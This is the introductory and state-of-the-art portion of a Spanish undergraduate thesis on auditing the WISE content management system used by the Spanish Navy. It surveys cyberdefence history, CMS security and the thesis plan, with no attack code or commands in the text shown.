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RESUMEN

A diario se producen miles de incursiones en sistemas informéaticos y robos de informacion.
Constantemente salen a la luz nuevas formas de ciberdelitos que ponen en peligro a infinidad de
equipos Yy sistemas, en todo el mundo. Esta realidad, unida a la enorme expansion de las aplicaciones
web y los gestores de contenidos, pone de manifiesto la necesidad de desarrollar e implantar las
medidas oportunas en materia de ciberdefensa.

Los administradores y desarrolladores de aplicaciones deben concienciarse de la importancia que
la ciberseguridad representa y emplear todas las herramientas disponibles para localizar posibles
errores o fallos en los sistemas ya que las vulnerabilidades constituyen un factor critico para cualquier
organizacion. De este modo, el presente TFG se ha orientado al anélisis de vulnerabilidades del gestor
de contenidos WISE (Web Information Services Environment). En este documento se recoge una
amplia recopilacion gréfica de su instalacion y configuracion Classic, generando un entorno en el que
se simule el uso académico que tendria en la Escuela Naval Militar.

A continuacion, se emplean una serie de herramientas de analisis de vulnerabilidades, todas ellas
de software libre. Estas herramientas permiten identificar los fallos de seguridad que presenta el
sistema. Por ultimo, se realizard un test de intrusion en WISE, analizando los fallos de seguridad
presentes. Una vez finalizado este pentesting se analizaran los resultados obtenidos y se propondran
posibles soluciones para solventarlos.

ABSTRACT

Thousands of raids on computer systems and information thefts occur every day. Constantly, new
forms of cybercrime that threat countless computers and systems worldwide come to light. This fact
and the huge expansion of web applications and content management systems highlight the need to
develop and to implement appropriate measures for

cyberdefense.

Administrators and application developers should be aware of the importance that cybersecurity
represents. They must use all the tools available to locate possible code errors or system failures.
Vulnerabilities represent a critical factor for any organization. Thus, this final degree project will
analyze the vulnerabilities on the CMS WISE (Web Information Services Environment). This document
provides a complete illustrated guide of both installation and WISE Classic configuration. An
environment has been developed in order to simulate the academic use that WISE would have at the
Naval Academy.

Several free vulnerability scanning tools have been used. These tools help to identify security flaws
on the system. Finally, a pentesting into WISE has been run with the purpose of discovering the WISE
security flaws. To conclude, the obtained results are analyzed and some possible solutions are
proposed.
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1 INTRODUCCION Y MOTIVACION

1.1 Presentacion

En las dltimas décadas se ha producido un enorme proceso de informatizacion en todos los
aspectos. Por ello, herramientas y técnicas que garanticen la ciberseguridad constituyen un factor
fundamental para asegurar el éxito en las organizaciones. El gran desconocimiento general de los
peligros que entrafia la web se traduce, muchas veces, en el empleo incorrecto de las nuevas
tecnologias, provocando una exposicion innecesaria de los sistemas a posibles ciberataques. La
concienciacion en materia de seguridad y la adecuada formacion, son imprescindibles para reducir el
riesgo al que nos vemos expuestos.

Esta introduccién resalta la importancia que ha alcanzado la seguridad de las aplicaciones web,
realizando a continuacion un analisis de los principales riesgos inherentes en el ciberespacio. A su vez,
se presentan los objetivos que se persiguen con la realizacion de este trabajo de fin de grado y se indica
la organizacion del presente documento.
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1.2 Importancia de la seguridad informatica

El siglo XXI se define por un gran nimero de autores como la revolucion de las TIC (Tecnologias
de la Informacion y Comunicacién) [1], pues el nimero de datos procesados, almacenados y
transmitidos es infinitamente mayor que en cualquier época anterior. El concepto de las TIC hace
referencia al conjunto de avances tecnologicos que nos proporcionan la informatica, las
telecomunicaciones y las tecnologias audiovisuales; que hacen que los costes de produccién y de
comunicacion sean cada vez menores.

Estos avances, unidos al rapido desarrollo de Internet y su penetracion tanto a nivel personal como
empresarial, han afectado directamente a la economia, politica, educacion y sociedad, convirtiéndolo
en una herramienta critica para las empresas, instituciones e individuos. El propio Bill Gates hacia
referencia, en una entrevista personal, a este nuevo ciberespacio como: “Si tu negocio no estd en
Internet, no existe” [2].

La dependencia que la sociedad actual tiene de la tecnologia y los sistemas de comunicacion a
través de Internet y aplicaciones web, trae como resultado una nueva vision de confort, inconcebible
sin estos servicios indispensables para su funcionamiento y futuro. La red se ha convertido en una de
las tecnologias mas populares de la historia de la humanidad. Cada dia aparecen nuevas aplicaciones
que ofrecen productos y servicios novedosos, asi como herramientas muy poderosas que facilitan una
gran diversidad de gestiones personales o hacen posible la realizacion de compras y adquisiciones
desde cualquier lugar del mundo.

Sin embargo, a pesar de las grandes posibilidades que presentan, acarrean un gran namero de
vulnerabilidades y amenazas a la seguridad. La seguridad de estas nuevas tecnologias pasa a ser un
factor fundamental que condiciona su utilidad. EI mundo no podria renunciar a los ordenadores,
Internet y los teléfonos maviles. El proceso de informatizacion es irreversible y la Unica alternativa es
crear un ciberentorno mas seguro.

A diario se producen miles de incursiones en sistemas informaticos y robos de informacion.
Constantemente se publican noticias en los medios de comunicacion [3], sobre nuevas formas de
ciberataques a ciudadanos, administraciones publicas, empresas e incluso a las instalaciones criticas de
paises como pueden ser centrales nucleares, plantas eléctricas o industrias.

Las garantias y la tranquilidad, que antes constituian los espacios, fisicamente cerrados o aislados,
desaparecen por completo. Los sistemas de informacion se convierten ahora en vulnerables y los
contenidos sensibles o de interés que puedan almacenar se ven comprometidos. EI nimero de posibles
atacantes crece rapidamente y los medios empleados para su realizacion se desarrollan a la misma
velocidad que los propios sistemas informaticos. Ambos sucesos, enlazados con la globalizacion de
Internet, nos plantean un nuevo entorno de confrontacion donde estas hostilidades pueden provenir de
cualquier lugar del planeta. El concepto de privacidad o seguridad de las personas, las organizaciones
0 los estados, se ha visto modificada por estas nuevas actividades maliciosas.

Todo ello ha contribuido a la evolucién del concepto de Seguridad Nacional y el desarrollo de una
nueva Politica de Seguridad, alterando incluso la estructura de las Fuerzas Armadas, que se topan
ahora con la complicada tarea de adaptarse a una nueva modalidad de guerra, muy alejada de la
convencional. A los tres ejércitos (Tierra, Armada y Aire) se le suma ahora el Mando Conjunto de
Ciberdefensa (MCCD), o como algunos ya lo denominan, el Ciberejército. EI MCCD esta destinado a
localizar vulnerabilidades y defenderse de una forma organizada, dirigida y legitima, de ataques, en
muchas ocasiones invisibles, accesibles y con una autoria muy dificil de adjudicar. Se pretende
garantizar de esta forma la confidencialidad, integridad y disponibilidad de los sistemas de
comunicacion del Estado, asi como la seguridad en las redes, garantizando el cumplimiento de las
misiones o servicios para los que fueron concebidos. Se hace frente de esta forma, a una nueva
realidad: el ciberespacio y las amenazas que entrafia.
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El Mando Conjunto de Ciberdefensa constituye una declaracion de intenciones de alto nivel, con el
proposito de garantizar la seguridad de los sistemas de informacion y proporcionar las bases al
Gobierno para definir y delimitar las responsabilidades para las diversas actuaciones técnicas y
organizativas que requiere la defensa de los intereses individuales y colectivos, de la nacion y sus
ciudadanos. Para garantizar la seguridad en la red y evitar las agresiones, tanto internas como externas,
es primordial el establecimiento de planes de contingencia, comprendidos por el conjunto de
procedimientos, practicas y tecnologias de proteccion a los servidores, usuarios y organizaciones que
integran la web. Su violacion repercute en grandes pérdidas econémicas o de reputacion para las
compaiiias.

Todo ello genera la necesidad de emplear herramientas de seguridad eficaces. Estas herramientas
tratan de garantizar la integridad, confidencialidad y disponibilidad de los tres elementos que
constituyen cualquier sistema informatico: hardware, software y sus datos.

1.3 Concepto de Ciberseguridad y Ciberdefensa

Desde el principio de los tiempos, el hombre ha combatido sobre el terreno. La historia muestra la
evolucion desarrollada en las técnicas y procedimientos empleados. Primero se incorpord la caballeria,
posteriormente las armas de fuego y la artilleria, los vehiculos blindados; y por Gltimo, las armas de
destruccion masiva: quimicas y nucleares.

El mar fue el segundo dominio de la guerra. Las primeras batallas se realizaban a bordo de
pequefios botes a remo, que combatian al abordaje. A continuacién se desarrolla la propulsién a vela
que, desde la Edad Media, empleaba artilleria naval. En el siglo XIX aparece la propulsion a vapor,
que supone una enorme revolucion. En el siglo XX, el submarino se convierte en un arma decisiva.
Como consecuencia de ello, la tactica y la estrategia naval deben evolucionar continuamente para
adaptarse a los nuevos retos que entrafia la evolucion de los medios y materiales empleados: los
misiles, la aviacion naval, las comunicaciones satélite y las tecnologias stealth o de reduccion de RCS
(Radar Cross-Section), entrafian algunos de los altimos progresos.

A principios del siglo XX, el aire pasa a ser objeto del interés militar gracias a la aparicion del
motor a reaccion, los radares, los misiles y, ultimamente, las aeronaves no tripuladas. También el
espacio se convierte en un medio de estudio, pues las operaciones se sustentan en comunicaciones por
satélite para la ejecucion del mando y control, el apoyo a las unidades desplegadas y la obtencion de
inteligencia del adversario.

En el siglo XXI, el ciberespacio. El concepto de ciberespacio ha sufrido una transformacion
extremadamente rapida. Mientras que en el afio 1984 pertenecia a la novela de ciencia ficcion
Neuromante de William Gibson [4]; en 2010 el Departamento de Defensa de los Estados Unidos lo
convierte en el quinto dominio de la guerra. Como en los cuatro dominios anteriores, se puede
combatir, y los intereses propios deben ser defendidos ante posibles hostilidades del enemigo. Pero,
ademas, presenta unas caracteristicas especiales. Se trata de un dominio practicamente infinito, donde
se emplean técnicas y armas que difieren a las empleadas en los campos de batalla tradicionales.
Infinidad de grupos, organizaciones e incluso individuos aislados, tienen la capacidad causar enormes
dafios. A ello se suma un entorno legal muy complejo, donde la legislacion de nuevas medidas, que
castiguen actividades de este tipo, se realiza un paso por detras de la evolucion tecnoldgica. Este hecho
favorece a los atacantes, que muchas veces se ven amparados por un vacio legal.

El detonante de este rapido aumento, tanto en su importancia como en la repercusion que alcanza
el control del ciberespacio a la hora de garantizar la Seguridad Nacional, tiene su origen en el ataque
sufrido por Estonia en abril del afio 2007: el peor ataque cibernético ocurrido hasta el momento [5].

Tras un incidente diplomatico, hackers rusos bloquearon los sistemas informaticos de las
instituciones publicas. El pais permanecid totalmente desconectado. Los bancos, ministerios y medios
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de comunicacién se vieron paralizados durante varios dias. De la preocupacion comun, que este
notable acontecimiento suscit6 en las naciones, asi como del propdsito de prevenir la repeticién de un
ataque similar, nace el concepto de ciberdefensa.

La ciberdefensa consiste en el conjunto de acciones activas o pasivas, preventivas o de correccion,
que garanticen el uso del ciberespacio y traten de negarlo al enemigo para la obtencion de inteligencia.
El JEMAD define la Ciberdefensa Militar como “el conjunto de recursos, actividades, tacticas,
técnicas y procedimientos para preservar la seguridad de los sistemas de mando y control propios y la
informacion que manejan, asi como para permitir la explotacion y respuesta sobre los sistemas
adversarios, para garantizar el libre acceso al ciberespacio de interés militar y permitir el desarrollo
eficaz de las operaciones militares y el uso eficiente de los recursos” [6].

Por su parte, la ciberseguridad se centra en las acciones de caracter preventivo que garanticen el
uso de las redes propias, evitando la incursion de terceras personas. En general, una nacion aislada no
tiene la capacidad técnica para enfrentarse a ciberataques a gran escala. La OTAN y la Union Europea
se encuentran en pleno desarrollo de sus capacidades en materia de ciberdefensa. El propdsito es la
defensa por capas de la Organizacion y de los paises constituyentes.

En enero de 2008 se aprob6 la Politica de Ciberdefensa de la OTAN [7], impulsando el desarrollo
de los conceptos de ciberdefensa, la proteccion de las redes militares, la integracion de ciberarmas para
la defensa de sus intereses y la creacion del Centro de Excelencia de Ciberdefensa Cooperativa de la
OTAN, en Tallin (Estonia).

Durante el afio 2011, se hace publica una nueva politica y un plan de accion informético; y la
Unidn Europea aprueba el “concepto de operaciones en red, en operaciones militares lideradas por la
Unidn Europea” [8]. En febrero de 2013 se redacta la primera Estrategia de Ciberseguridad [9]. Dicho
documento representa la vision del conjunto de naciones de la Alianza sobre como prevenir y resolver
mejor las perturbaciones de la red y los ciberataques. Todos estos sucesos hacen reflejo de las
caracteristicas que conciernen al ciberespacio y las medidas que se requieren para su control. Se
comprende ahora su condicién como un espacio mundial comin. Desde esa perspectiva, surge la
conciencia de necesidad de una respuesta internacional que se adapte a sus peculiaridades. Aunque se
destinasen todos los recursos econdmicos, ninguna nacién podria enfrentarse por si sola a esta
amenaza. Por esta razén, la cooperacion internacional con gobiernos aliados y organizaciones de
ambito supranacional, es esencial.

En lo que respecta a politica nacional, la Directiva de Defensa Nacional de 2012 [10] recoge la
necesidad de reforzar los sistemas de obtencion de informacion e inteligencia para el apoyo a las
operaciones, asi como los sistemas de mando y control para reducir el riesgo de ciberataques. Sefiala,
ademas, la voluntad de impulsar una gestién integral de la ciberseguridad, asi como la elaboracion de
una Estrategia de Seguridad Cibernética que reduzca su riesgo. Asi, el 19 de febrero de 2013, el
Ministro de Defensa espafiol, Pedro Morenés, promulga la Orden Ministerial 10/2013 por la que se
crea el Mando Conjunto de Ciberdefensa.

Ante este nuevo reto prioritario, comienzan a incrementarse los recursos econémicos y de personal
que se destinan a la causa, no s6lo en el ambito de Defensa, sino también en el mundo académico y
civil. Algunas universidades nacionales contribuyen a la formacion de nuevos expertos en la materia.
Asimismo, multiples compafiias de seguridad informatica irrumpen en este panorama ofreciendo sus
servicios a las grandes empresas. Cybersecurity 500 muestra un ranking, que actualiza cada tres meses,
donde se reflejan las 500 mejores empresas internacionales dedicadas a esta disciplina. Destacan
Fireeye, Landcope, AlienVault o Norse.

En Espafia, S21sec es una de las compafias mas conocidas. Ademas, destacan: Ciberseguridad
Profesional S.L, SCASSI Ciberseguridad SL, Eleven Paths o Hispasec. Cabe destacar que, desde 1998
y de manera gratuita, Hispasec realiza una enorme labor de distribucion de informacion sobre
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seguridad informatica, con el proposito de concienciar a la sociedad de los riesgos que se esconden en
la web, a través de la iniciativa “una-al-dia” [11].

Cada dia se descubren en estos centros varias decenas de virus nuevos. En su mayoria son
controlados y anulados en cuestion de minutos, dificultando enormemente la expansion de las
amenazas. No obstante, mantener un nivel aceptable de seguridad en una empresa es responsabilidad
de todos. Por este motivo, desarrollar una cultura de ciberseguridad e impartir cursos de formacion
para el personal constituye una tarea fundamental.

Igualmente, se debe definir e implantar una normativa que regule su uso, protegiendo asi nuestra
reputacion online. Una buena concienciacion y la aplicacion de un reglamento, que restrinja y controle
el uso de las redes, reducira el nUmero de accesos no autorizados a nuestra organizacion.

1.4 Sistemas de gestion de contenidos y seguridad en aplicaciones web

La web fue el motor que realmente impulsd el rapido desarrollo de Internet, asi como su
popularizacion en todo el mundo. En pocos afios ha evolucionado de péginas sencillas con pocas
iméagenes y contenidos estaticos, a paginas dindmicas y complejas que emplean contenidos multimedia
y permiten el intercambio de informacion entre un servidor y programas externos. Con el paso del
tiempo han ido apareciendo diferentes arquitecturas, motivadas por la necesidad de corregir los
problemas localizados, como: el uso ineficiente de recursos o la falta de seguridad en ciertas
aplicaciones o ejecutables. Asi en 2004 aparece la web 2.0, donde el concepto de la red toma un giro
hacia una plataforma de contenidos, en la cual los enlaces se estructuran de forma ordenada en funcion
de su popularidad. Este cambio en la web trae consigo la aparicidn de los gestores de contenidos, CMS
(Content Management System).

1.4.1 Sistemas de gestion de contenidos (CMS)

CMS hace referencia a aplicaciones que permiten la creacion y la facil administracion de
contenidos orientados a paginas web. Los gestores de contenidos son aplicaciones en las que se
permite la edicion, creacion y administracién de contenidos que se muestran en un sitio web. La
informacidn publicada se almacena en una o varias bases de datos. Permiten realizar una separacién
entre el disefio propiamente dicho y los contenidos que en ellos se presentan. De esta manera,
proporcionan un enorme ahorro en tiempo y esfuerzo a los administradores, en la instalacion y el
disefio de su propia aplicacion, ya sea personal o corporativa.

En esta nueva era digital, los gestores de contenidos se emplean en infinidad de aplicaciones y su
uso se ha extendido enormemente. La web ofrece una gran cantidad de recursos en los que se puede
compartir cualquier tipo de informacién. Todo ello ha generado una nueva forma imperativa de dirigir
un negocio, anunciarse y compartir la informacion. Incluso los gobiernos e instituciones incorporan
sistemas CMS, como herramienta publicitaria y de difusion de su imagen corporativa, siendo necesario
la contratacion de expertos o la creacion de departamentos o gabinetes de comunicacion con
dedicacion exclusiva a estas herramientas.

Sin embargo, el rapido desarrollo de estos sistemas viene acompariado de nuevas formas de delitos
0 ataques. Estos ciberdelitos acarrean una relevancia fundamental en este entorno virtual, donde no se
tiene certeza del lugar donde se almacenan nuestros datos o la seguridad bajo la que se ven amparados.
A comienzos de este siglo, empiezan a aparecer nuevos ataques cuyo impacto ha ido creciendo de una
forma sustancial.
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1.4.2 Seguridad en aplicaciones web

El incremento exponencial en la actividad maliciosa que prospera en la web hace imprescindible el
desarrollo de nuevas herramientas de seguridad, para administradores y usuarios. El primer reflejo de
las nuevas amenazas es el software malicioso (malware). Dentro del término malware, se incluyen
todos aquellos programas destinados a realizar una funcion dafiina para el usuario y que
principalmente suele ser:

e Mal funcionamiento del sistema.
e Robo de informacién sensible o confidencial.
e Borrado o modificacion de datos.

El nacimiento de muchos de estos programas se produce dentro de un entorno universitario, donde
algunos estudiantes, con el Gnico afan de notoriedad y sin animo de lucro, desarrollaban programas,
que podian considerarse “benignos” y que, en un principio, no iban mas alla de una broma pesada. No
obstante, su filosofia ha derivado hacia otra perspectiva y, actualmente, los ataques se dirigen contra el
mundo industrial u objetivos estratégicos.

El nimero y tipo de virus crece continuamente. Ninguna marca escapa a su amenaza y los
teléfonos mdviles ya son uno de los mayores objetivos para los ciberdelincuentes [12]. La empresa de
seguridad en la web RisklQ afirma que el niUmero de aplicaciones maliciosas se ha incrementado un
400% en Google Play [13]. Un estudio de 2014 revela que mas de 16 millones de smartphones se
encuentran infectados y el nimero de virus destinados a estos dispositivos se equipara al que afecta a
los ordenadores [14].

Actualmente, los llamados bulletproof hosting ofrecen a sus clientes el software y los medios
necesarios para efectuar actividades maliciosas. En estas paginas se permite la visualizacion de casi
cualquier contenido y actividades ilegales (como juego o narcotrafico). La mayoria de estos portales se
localizan en Rusia, China y paises colindantes, aprovechando la ausencia de legislacion en materia
informética. Ryan Flores, experto en los nuevos métodos de ciberataques, apunta que las amenazas
tienden a ser cada vez mas locales [15], en muchas ocasiones, debido a la facilidad de obtencion de
medios necesarios. Se han registrado recientes manifestaciones de esta tendencia en ataques que
afectan a objetivos muy particulares como pueden ser: la empresa en la que trabaja el supuesto
ciberdelincuente o su banco. Los hackers implicados conocen los mecanismos de seguridad de sus
victimas, principalmente bancos, consiguiendo librar sus mecanismos de seguridad sin gran esfuerzo.

La empresa de seguridad Trend Micro [16] ha elaborado una lista en la que se muestran datos
sorprendentes sobre los precios que se barajan en el mercado negro, por productos y servicios
solicitados por piratas y ladrones de datos, y que les permiten cometer sus fechorias sin grandes
conocimientos técnicos. Segun la lista publicada, hackear una cuenta de Facebook ronda los 90 euros,
bloquear un sitio web oscila entre los 15 y 440 euros, y el precio medio solicitado por el robo de los
datos de una tarjeta de crédito es de 10 euros. Sin embargo, a pesar de indicar este precio en divisas
europeas, el Bitcoin es la moneda virtual méas utilizada para estas transacciones, por la dificultad que
conlleva la identificacion de los usuarios que la emplean.

Este mercado, méas accesible de lo que podemos imaginar, es una viva imagen de la facilidad para
adquirir cualquier tipo de producto destinado a la ciberdelincuencia. Se precisa solo una conexion a
Internet y dinero disponible para este fin. El informe sobre amenazas de la empresa McAfee [17],
publicado en mayo de 2015, ofrece pruebas contrastadas que demuestran este “cibertrafico negro”.
Lejos de la ficcion o de una realidad muy alejada de nuestra rutina, el informe demuestra la evolucién
de esta nueva “puerta trasera” a la ciberdelincuencia. Como usuarios debemos estar concienciados de
esta realidad y poner todos los medios a nuestra disposicién, tratando de prevenir la posibilidad de que
nuestra vida digital se vea afectada.
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En la Figura 1-1 se muestran una tabla con los precios estimados que se solicitan para la
sustraccion de informacion bancaria en distintos paises:

Numero de tarjeta de Estados . . . L Union
- . Reino Unido Canada Australia

pago con coédigo CVV2 Unidos Europea

Aleatorio 5-8 délares 20-25 ddlares 20-25 ddlares 21-25 délares 25-30 délares

Con identificador bancario 15 dolares 25 dolares 25 dolares. 25 dolares 30 dolares

Con fecha de nacimiento 15 ddlares 30 ddlares 30 ddlares 30 ddlares 35 ddlares

Con Fullzinfo 30 dolares 35 dolares 40 ddlares 40 dolares 45 dolares
Precios estimados por tarjeta, en ddlares estadounidenses, por datos de tarjetas de pago robados Fuente: McAfee Labs

(Visa, MasterCard, Amex, Discover)

Figura 1-1 Precio del robo de informacion bancaria (tomado de [17])

Con el gran crecimiento en el uso de las aplicaciones web, debemos analizar y conocer las
principales amenazas a las que nos enfrentamos cada vez que nos conectamos. De esta forma, nosotros
mismos contribuiremos a generar un entorno mas seguro.
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1.5 Objetivos del TFG
El presente trabajo de fin de grado presenta los siguientes objetivos:

1- Realizar un analisis de los principales problemas de seguridad en la web.

Este TFG presenta las amenazas mas frecuentes y comunes en la red. Especialmente se estudiaran
las vulnerabilidades mas extendidas en las aplicaciones CMS (Content Management Systems). Para
ello, previamente se introduce el panorama actual en torno a los ataques informéticos y se muestra el
cambio de rumbo en cuanto a estrategia en materia de ciberdefensa, introduciendo algunas de las
organizaciones nacionales encargadas de garantizar la defensa de Espafia en el ciberespacio. Estas
instituciones suponen una medida de prevencion y proteccion ante ataques a las libertades de sus
ciudadanos y sus infraestructuras criticas.

2- Recoger una serie de herramientas susceptibles de emplear a la hora de analizar si una
aplicacion web en particular es 0 no sensible a este tipo de ataques.

Se presentan algunas de las herramientas mas conocidas y empleadas por los profesionales en
materia de seguridad informética. Estas herramientas, en su mayoria software libre, se destinan a la
realizacion de auditorias para localizar y a corregir vulnerabilidades en sistemas y en aplicaciones web.
La finalidad es familiarizarnos con dichas herramientas para su empleo sobre WISE.

3- Despliegue del gestor de contenidos WISE (Web Information Services Enviroment).

La primera parte del desarrollo del TFG se compondra de la instalacién y configuracion del gestor
de contenidos empleado en la Armada espafiola: WISE. Se ilustrard el proceso de instalacion y
configuracién Classic llevado a cabo para la simulacion del uso que del sistema WISE se haria en la
Escuela Naval Militar. De esta forma, se pretende configurar un entorno académico en el que alumnos
y profesores tengan acceso a contenidos didacticos y puedan compartir documentacion para el estudio.

4- Anélisis de seguridad WISE.

Para la identificacion de las vulnerabilidades que presenta WISE se desarrolla una auditoria. El
objetivo de la auditoria es aplicar alguna de las herramientas de seguridad informatica mas conocidas y
localizar fallos de seguridad o errores en el gestor. Para su desarrollo desde un entorno controlado, se
configurard un PC como servidor WISE en la red local del Centro Universitario de la Defensa.

Tras analizar e investigar sus vulnerabilidades, se pretende proponer soluciones de facil
aplicacién, que pongan solucion a los problemas encontrados. Finalmente, tras los resultados
obtenidos, se presentaran posibles lineas de actuacién o soluciones a implementar, con el objetivo de
que los administradores de estas aplicaciones puedan garantizar la seguridad de la informacion que
sobre el sistema WISE se presenta.
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1.6 Organizacion de la memoria

Los objetivos descritos en el apartado anterior definen las lineas generales de los puntos a abordar
en este TFG. A continuacidn se describe la organizacion del trabajo y el desglose de sus apartados.

En el primer capitulo se ha realizado una introduccion que contextualiza el desarrollo del trabajo
en una era de grandes avances tecnoldgicos y expansion del uso de las aplicaciones web. Se expone la
situacion actual en materia de ciberdefensa, en un momento de cambio internacional, en el que los
estados comienzan a tomar medidas para la defensa ante las amenazas. El capitulo finaliza con una
breve introduccion a los gestores de contenidos y al incremento de las actividades maliciosas que se
desarrollan en la web.

El capitulo 2 contextualiza la situacion actual de la seguridad informatica, reflejando la evolucién
y el répido desarrollo de Internet. Se hace mencion a las instituciones nacionales encargadas de la
ciberseguridad en las redes y sistemas informaticos en Espafia. Se aborda, de modo muy resumido, el
panorama juridico bajo el que se amparan los ciberdelincuentes. Se presentan los gestores de
contenidos mas empleados en la actualidad, analizando las propiedades que los caracterizan.
Posteriormente se introduce el gestor de contenidos WISE como objeto de estudio para el desarrollo
del trabajo. Y finalmente, se exponen los principales riesgos y amenazas que conlleva el uso extendido
de las aplicaciones web, presentando algunas de las plataformas disponibles para la realizacion de
analisis de vulnerabilidades y test de penetracion o pentesting.

En el capitulo 3 se presentan de forma detallada los sucesivos pasos que componen el proceso de
instalacion y configuracion Classic, para un completo despliegue del sistema WISE, realizado para el
estudio. Asimismo, se presentan las posibilidades que ofrece, describiendo los diferentes objetos
susceptibles de compartirse en el sistema. En el despliegue desarrollado se configura un portal web que
simula el uso académico que de WISE se haria en la Escuela Naval Militar, seleccionando material
didactico destinado a los alumnos, asi como impresos Yy solicitudes administrativas tanto para oficiales
y profesores, como para la dotacion de la ENM.

En el capitulo 4, se muestran la auditoria realizada sobre WISE, aplicando algunas de las distintas
herramientas de software libre presentadas en el segundo capitulo. De esta forma, se detallan los pasos
mas comunes en la realizacion de un test de intrusion. En primer lugar, se realiza un escaneo de
puertos y andlisis de metadatos con el objetivo de obtener toda la informacidn necesaria para realizar el
ataque. Posteriormente se emplearan herramienta de andlisis de vulnerabilidades. Conocidas los fallos
de vulnerabilidad se intenta explotarlos y, tras una serie de ataques, se obtiene las credenciales del
usuario administrador y se realiza un ataque DoS, imposibilitando el acceso al servidor a los usuarios
legitimos.

En el capitulo 5 se analizan los resultados obtenidos y se exponen las limitaciones que presenta el
gestor, haciendo una valoracion del uso que en la Armada se le otorga y proponiendo posibles
soluciones ante los problemas localizados. Finalmente, en el capitulo 6, tras el desarrollo del estudio,
se presentan las conclusiones finales. Ademas, se definen unas lineas futuras que sirvan de guia para
futuros estudios del gestor.
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2 ESTADO DEL ARTE

2.1 Presentacion

A lo largo del presente capitulo se detalla la historia y evolucion de lo que hoy conocemos como
Internet y se describen los diferentes organismos y centros nacionales que integran la Defensa
Nacional y combaten contra la ciberdelincuencia. A continuacion, se analizan los principales CMS y se
introduce el gestor de contenidos WISE, empleado en el desarrollo del presente TFG como objeto de
estudio para el analisis de vulnerabilidades, por su uso extendido en el &mbito de la Armada.

Posteriormente, se presentan los ataques principales que afectan a las aplicaciones web v,
finalmente, se expondran los diferentes medios existentes para la realizacion de auditorias en
aplicaciones web, mostrando algunas de las plataformas mas populares, en su mayoria de software
libre. Estas plataformas de analisis son empleadas en infinidad de organizaciones, para localizar fallos
de disefio o vulnerabilidades en sus portales y garantizar un entorno seguro, evitando en la manera de
lo posible, que los ataques recalen en los sistemas.
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2.2 Evolucion de la red

El inicio de lo que hoy se conoce como Internet se remonta a la década de los 60. Durante el
transcurso de la guerra fria, el Departamento de Defensa de los Estados Unidos crea una red de uso
exclusivamente militar, que garantizase el acceso a la informacion y sirviese como sistema de
mensajeria para coordinacion, mando y control de las unidades, en caso de un hipotético ataque por
parte de Rusia a los sistemas de telecomunicaciones tradicionales. Esta red se llamo Arpanet (1969) y
constituia la primera red de comunicaciones descentralizada, formada por cuatro nodos independientes
que enlazaban cuatro universidades: la Universidad de California de Los Angeles (UCLA), la
Universidad de California de Santa Béarbara (UCSB), la Universidad de Utah y el Stanford Research
Institute (SRI).

A pesar de su origen como sistema de comunicaciones militares, su evolucion se desarroll6 en el
mundo académico, donde Arpanet se emple6 para conectar a cientificos de estas distintas
universidades, los cuales compartian opiniones y conocimientos para desarrollarla. En 1971 ya
disponia de quince nodos y en el afio 1973, Arpanet se internacionalizé con la incorporacion de las
universidades College of London (Gran Bretafia) y Norsar (Noruega). En el afio 1982 los cientificos
Vinton G. Cerf y Robert Kahn propusieron el protocolo TCP/IP como el protocolo estandar para el
funcionamiento de Internet. La red continudé en expansion y en 1983 el Ministerio de Defensa
estadounidense decide desvincularse de Arpanet, creando una red independiente: MILNET [18].

Aparecen también las primeras computadoras personales, destinadas en un primer momento a
facilitar célculos y operaciones en el trabajo, sin conexion a la red. Es a mediados de los ochenta
cuando aparecen los primeros sistemas operativos que permitian la interconexién. A pesar de este
desarrollo exponencial, hasta la década de los noventa y la incorporacién del protocolo HTML (Hyper
Text Markup Language), lenguaje de programacion para la creacion de paginas web, Internet no pasé a
ser un medio de comunicacion popular. Asi, en 1994 y tras el levantamiento de la prohibicion del
comercio en la red, Internet encontré una nueva oportunidad, dejando de ser un medio destinado a la
transmision de informacion y mensajeria electrénica, poco utilizado. Durante este afio, sucedieron
varios sucesos importantes para la popularizacion y el desarrollo de la web tal y como la entendemos
hoy en dia:

e Los estudiantes de la universidad de Stanford, David Filo y Jarry Jang, crean el buscador Yahoo!
[19], que en menos de tres afios se valoraba en mas de tres millones de délares.

e El restaurante de comida rapida de California Pizza Hut, se convierte en la empresa pionera en la
realizacion de pedidos de comida a domicilio online, dandose a conocer como Pizza Net [20]. La
idea causo tal furor y tuvo tal repercusion, que la compariia llegd a ocupar la portada de un
periodico nacional. Se abre asi una nueva forma de comercio a nivel global, llegando hoy en dia,
a ser fundamental para el desarrollo de cualquier empresa.

El uso de la red aumentaba a pasos agigantados y comienzan a aparecer numerosas empresas
pioneras en el sector que apostaron por esta nueva forma de negocio. El uso del correo electrénico se
extiende y la empresa Amazon se coloca como referente en un nuevo entorno de ventas. Poco después
aparece la empresa Google, alzandose como principal buscador de Internet. La novedad que
incorporaba Google radicaba en el empleo de una nueva tecnologia, que clasifica las paginas web en
funcion de su importancia (PageRank) [21]. Hoy en dia se ha convertido en una de las empresas mas
grandes del mundo, con unos ingresos de mas de 50 billones de ddlares anuales [22] y alrededor de 3
billones de busquedas diarias.

En 2004 aparece Facebook, revolucionando el mundo de las redes sociales. Comienzan desde
entonces a aparecer un gran numero de aplicaciones que llevan a la web a convertirse en el medio de
comunicacion mas usado. En 2005 surge Youtube. Lo que comenz6 como una sencilla plataforma para
la comparticion de videos, hoy ofrece millones de videos al dia, permite el alquiler de peliculas y
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series, y es empleado por muchos artistas para darse a conocer. Continuando con esta rapida evolucion,
en 2007 sale al mercado el primer smartphone de Apple: el Iphone.

Estas nuevas aplicaciones web, y la tecnologia que junto a ellas se extiende, tienen un impacto
directo sobre la forma de dirigir un negocio, la transmision de informacion y la vida de las personas.
En resumen, los desarrolladores de aplicaciones web de hoy y el aumento exponencial del uso de los
sistemas de gestion de contenidos, esta dando forma al futuro digital.

2.3 Ciberdefensa: organismos nacionales

Debemos remarcar que no todo lo que proporcionan las nuevas herramientas web son ventajas. El
aumento de los ciberdelitos que acompafian a las aplicaciones y a la extension del comercio en la red,
supone un nuevo reto al que hacer frente. Segin un estudio emitido por Deloitte [23], durante el afio
2015, el aumento de los robos de informacion se ha incrementado en un 13%. De la misma forma, se
muestra un incremento en la preocupacion de los usuarios por los temas relacionados con la seguridad
web. Existe un cambio general en la actitud de los consumidores, concienciandose en la necesidad de
tomar acciones individuales para la proteccion de sus datos online.

Las amenazas de este entorno afectan también a los estados y sus actividades. Transporte,
comunicaciones, industria energética, medios de comunicacién social, y hasta el deporte y el ocio,
pueden verse afectados. Los planes estratégicos para la ciberdefensa, en los que se establezcan las
medidas para la deteccion y la respuesta ante los ataques, suponen el punto de partida para reducir el
